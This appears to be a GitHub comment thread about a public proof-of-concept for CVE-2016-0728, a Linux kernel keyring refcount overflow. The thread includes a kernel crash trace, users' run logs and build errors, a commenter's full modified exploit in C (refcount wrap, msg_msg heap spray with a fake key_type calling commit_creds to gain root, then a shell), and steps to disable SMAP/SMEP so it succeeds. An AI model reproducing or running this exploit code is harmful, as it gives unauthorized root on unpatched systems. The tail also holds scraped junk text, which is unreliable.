[701688.047050] RBP: ffffc90005dc3e08 R08: 0000000000000ffe R09: ffff880228ad5480
[701688.047051] R10: 0000000000000000 R11: 8080808080808080 R12: ffff8805d4240998
[701688.047052] R13: 0000000000000000 R14: ffff8801b7642c80 R15: ffffffff81d1d8c0
[701688.047054] FS: 00006b2d87d46700(0000) GS:ffff88063fc40000(0000) knlGS:0000000000000000
[701688.047055] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[701688.047056] CR2: 000061f3b08c5000 CR3: 00000005a6046000 CR4: 00000000000006f0
[701688.047057] Stack:
[701688.047058] ffff8803544772c0 ffff8805d4240998 ffff8805d4240998 ffff88046069ac00
[701688.047061] 00006b2d876adcf9 ffff8803544772c0 ffffc90005dc3e58 ffffffff812b4f59
[701688.047063] 00006b2d876adcf9 00006b2d87d46700 ffffc90005dc3e58 ffff8805d4240998
[701688.047065] Call Trace:
[701688.047068] [] join_session_keyring+0x59/0x190
[701688.047071] [] keyctl_join_session_keyring+0x37/0x60
[701688.047072] [] SyS_keyctl+0x208/0x220
[701688.047076] [] system_call_fastpath+0x12/0x85
[701688.047078] [] ? int_with_check+0x23/0x28
[701688.047079] Code: e5 48 8b bb 88 00 00 00 4c 89 e6 e8 7e cf 07 00 85 c0 75 d2 45 84 ed 74 55 8b 13 85 d2 74 c7 89 d1 83 c1 01 71 05 83 e9 01 cd 04 <89> d0 f0 0f b1 0b 39 d0 75 59 e8 74 37 e4 ff 48 89 43 60 48 c7

dac4755 commented Jan 22, 2016

There were earlier comments on the time it takes to run. I have built the poc code for my S4 and I added a counter so I can make a rough estimate on how long it will take to perform the increfing loop. It's looking like it will take over 100 days. Has anyone actually run the poc on an android device? If so, how long did it take to run even if it didn't get root? I'm trying to figure out if I'm doing something wrong or if the exploit isn't practical at least on older devices.

thanks,
d

Doesn`t work on Arch Linux:

$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.3.3-2-ARCH
sh-4.3$ shutdown -h now
shutdown: you must be root to do that!

@dac4755 did your process spend most of it's time in the D-state, using just about 1% cpu? it did on mine but im not sure i compiled it right.. got some warnings. Mine is also an S4...

oneno commented Jan 24, 2016

Getting the following error when try to build in manjaro 4.1:

||=== Build: Debug in exploit (compiler: GNU GCC Compiler) ===|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp||In function ‘int main(int, const char*)’:|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp|62|error: invalid conversion from ‘void
’ to ‘key_type*’ [-fpermissive]|
||=== Build failed: 1 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|

dac4755 commented Jan 24, 2016

@birdstream, It was cranking away, just really slowly. I added a counter for every 1000 iterations and it was taking 3-5 seconds. In contrast, on a Linux VM it cranked through the entire refcount loop in a reasonable time (I think it was 5 to 10 minutes).

Doesn't work on Kali Linux in compile time. Needs keyutils pack to compile.
If this POC is the base for the sec failure, if almost systems doesn't have this one installed, it don't will working.
Btw, I'll testing inCetOS and Fedora soon.

QkiZMR commented Jan 25, 2016

I'm trying to compile it and nothing happen. Binary is not created.

Dont Work on:
OS: ubuntu Ubuntu 14.04 trusty
Kernel: x86_64 Linux 3.13.0-76-generic
CPU: Intel Core i7-5500U CPU @ 2.4GHz

I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114

so the refcount ends at 2 after wrapping around?

snorez commented Jan 28, 2016

It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
cve-2016-0728 5days 00
cve-2016-0728 5days 01
then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

itmox commented Jan 28, 2016

@mah0ne, could you provide your changed code?

snorez commented Jan 28, 2016

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,


#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;

struct key_type {
    const char *name;
    size_t def_datalen;
    void *vet_desc;
    void *preparse;
    void *free_preparse;
    void *instantiate;
    void *update;
    void *match_preparse;
    void *match_free;
    void *revoke;
    void *destroy;
};

/* key_revoke(struct key *key) */
void exploit(void *key)
{
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <key>", argv[0]);
        return -1;
    }

    int pid;
    size_t i = 0;
    unsigned long l = 0x100000000/2;
    key_serial_t serial = -1;

    /* prepare key_type structure */
    struct key_type *m_key = malloc(sizeof(struct key_type));
    m_key->revoke = (void *)exploit;

    /* set msg_msg structure, is 0xb8 size */
    int msgid;
    struct msg_tail {
        long mtype;
        char mtext[0xb8-0x30];
    } msgp = {0x4141414141414141, {0}};

    memset(msgp.mtext, 'A', sizeof(msgp.mtext));
    *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
    *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
    *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
    *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("[-] msgget");
        return -1;
    }

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
           KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    fprintf(stderr, "[+] increfs...\n");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffffUL - l)) {
            sleep(5);
            l = l/2;
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);

    for (i = 0; i < 3; i++) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    fprintf(stderr, "[+] finish increfs\n");
    sleep(9);

    fprintf(stderr, "[+] fork...\n");
    for (i = 0; i < 64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("[-] fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msgid = msgget(IPC_PRIVATE, 0644 |
                        IPC_CREAT)) == -1) {
                perror("[-] msgget");
                exit(1);
            }
            for (i = 0; i < 256; i++) {
                if (msgsnd(msgid, &msgp,
                       sizeof(msgp.mtext), 0) == -1) {
                    perror("[-] msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

    fprintf(stderr, "exploit...\n");
    sleep(5);
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
        perror("[+] keyctl_revoke");

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;

itmox commented Jan 28, 2016

@mah0ne how did you deactivate smap and smep? Thanks.

snorez commented Jan 29, 2016

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

vnavin4 commented Feb 10, 2016

Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64

[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$

gqbnm0 commented Feb 11, 2016

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

  • on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
  • on CentOS 7 with kernel 3.10, it caused a reboot.

niubl commented Feb 17, 2016

  • filehelper_1455702738105_91

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Deletion keyutils.h, who can give me a document.
thank you..

dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...

[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$

Whats wrong ?

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

@bactis can you please publish your final exploit including the make file?

MatanTubul commented Dec 29, 2016 edited

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2




MatanTubul commented Dec 29, 2016 edited

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

make
mk_file

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2





Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
memes

wallpaper
i use @mah0ne 's kernel number and success to exploit.
gif

quotes
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment